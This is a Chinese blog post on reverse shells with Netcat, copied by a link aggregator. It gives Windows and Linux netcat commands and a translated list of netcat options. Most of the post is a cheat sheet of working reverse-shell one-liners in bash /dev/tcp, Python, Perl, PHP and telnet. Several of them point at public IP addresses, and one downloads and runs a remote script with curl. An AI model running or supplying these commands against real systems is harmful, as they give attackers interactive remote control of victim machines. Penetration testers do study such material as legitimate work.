3

Netcat反弹Shell详解

 3 years ago
source link: https://www.ascotbe.com/2019/08/19/NetcatReboundShell/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Netcat反弹Shell详解 | ascotbe

Windows

  • 进入下载地址下载文件https://eternallybored.org/misc/netcat/
  • 将文件夹中的对应可执行文件复制到C:\Windows\System32的文件夹下(有32位版和64位版)
  • 直接打开cmd输入nc XXXXXX执行就好

Linux

  • 直接使用nc命令就好

自己常用的命令

  • Windows
nc -e cmd.exe -d IP port(靶机)
  • Linux
nc -lvvp 8080(监听机)  监听8080端口
nc IP Port (受害者机) IP为监听机的IP 端口为监听机开的端口
bash -i >& /dev/tcp/3.16.30.73/1231 0>&1(受害者机)
#无命令行界面,使用后台模式
-d
#程序重定向
-e
#源路由跳跃点, 不超过8
-g
#源路由指示器: 4, 8, 12, ...
-G
#获取帮助信息
-h
#延时设置,端口扫描时使用
-i
#监听入站信息
-l
#监听知道NetCat被结束(可断开重连)
-L
#以数字形式表示的IP地址
-n
#使进制记录
-o
#打开本地端口
-p
#随机本地和远程的端口
-r
#本地源地址
-s
#以TELNET的形式应答入站请求
-t
#UDP 模式
-u
#显示详细信息 [使用=vv获取更详细的信息]
-v
#连接超时设置
-w
#I/O 模式 [扫描时使用]
-z

常见反弹的方法

所用用例中的127.0.0.1为接收机器的IP6666位接收机器的端口

  • 正常的反弹

    bash -i >& /dev/tcp/127.0.0.1/6666 0>&1
  • 改文件名反弹

    ./test -i >& /dev/tcp/127.0.0.1/6666 0>&1
  • 下载文件后执行反弹

    curl -o /tmp/x.py https://raw.githubusercontent.com/y1ng1996/VulScript/master/back.py
    python /tmp/x.py 127.0.0.1 6666
  • python代码反弹

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • perl代码反弹

    perl -e 'use Socket;$i="127.0.0.1";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  • php代码反弹

    php -r '$sock=fsockopen("127.0.0.1",6666);exec("/bin/sh -i <&3 >&3 2>&3");'
  • telnet反弹

    telnet 127.0.0.1 6666| /bin/bash | telnet 139.217.21.35 5555 

Recommend

  • 34

    “瑞士军刀”Netcat使用方法总结

  • 11

    使用netcat进行反弹链接的shellcode ∑-TEAM

  • 42
    • www.tuicool.com 5 years ago
    • Cache

    OpenBSD netcat demystified

    OpenBSD netcat demystified Owing to its versatile functionalities, netcat earns the reputation as "TCP/IP Swiss army knife". For example, you can create a...

  • 49

    When I took part in a training last year, I heard about netcat for the first time. During that class, the tutor showed some hacks and tricks of using netcat

  • 4

    攻击主机先监听端口最简单的脚本可以用 nc : nc -lvvp 9527 被攻击主机连接到服务端口一般都需要通过 RCE、 webshell 等方式在被攻击机执行以下命令,具体怎么做就要看水平了:

  • 4
    • cuiqingcai.com 2 years ago
    • Cache

    什么是反弹 Shell?

    前段时间被一位产品经理嘲笑了,说我居然连反弹 Shell 都不知道! 说实话当时我还真不知道,但这口气咽不下去啊,得赶紧学来看看,这不,我已经学会了! 学完之后我特地来记录下,同时分享给大家,以后产品经理...

  • 9
    • example.com 2 years ago
    • Cache

    总结反弹shell

    Example Domain This domain is for use in illustrative examples in documents. You may use this domain in literature without prior coordination or asking for permission.

  • 7
    • xz.aliyun.com 2 years ago
    • Cache

    MSF利用python反弹shell-Bypass AV

    本文主要介绍两种利用msf生成python版 payload,并利用Py2exe或PyInstaller将python文件转为exe文件,可成功bypass某些AV反弹shell msf-python反弹shell姿势1 1) msfvenom生成python后门 msfvenom -p python/meterpreter/rev...

  • 4
    • blog.51cto.com 1 year ago
    • Cache

    从一道题学习反弹shell

    从一道题学习反弹shell 精选 原创 LinkSLA 2022-11-11 14:58:38...

  • 1

    1、环境 Kali:172.30.1.3/24 靶机(Funbox9):172.30.1.129/24 2、信息收集 通过nmap扫描此主机,我们需要获取到开放的端口以及服务的Banner 1 nmap -sV -T5 -A 172.30.1.129 ...

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK